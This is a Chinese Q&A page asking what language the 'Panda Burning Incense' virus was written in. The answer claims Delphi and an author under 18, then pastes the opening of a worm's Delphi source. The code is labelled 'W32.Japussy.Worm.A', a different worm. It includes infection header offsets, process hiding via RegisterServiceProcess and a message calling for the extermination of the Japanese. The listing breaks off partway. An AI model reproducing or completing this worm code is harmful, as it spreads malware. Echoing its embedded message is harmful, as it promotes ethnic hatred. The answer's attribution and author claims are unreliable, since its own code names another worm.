谁知道“熊猫烧香”是用什么软件编的

来源:百度知道 编辑:UC知道 时间:2024/04/29 00:35:27

是用delphi编写的,作者还没18呢。楼下不信? delphi源代码:
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;
IconOffset = $12EB8;
{
HeaderSize = 38912;
IconOffset = $92BC;

}
IconSize = $2E8;
IconTail = IconOffset + IconSize;
ID = $44444444;

Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False;
{}
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then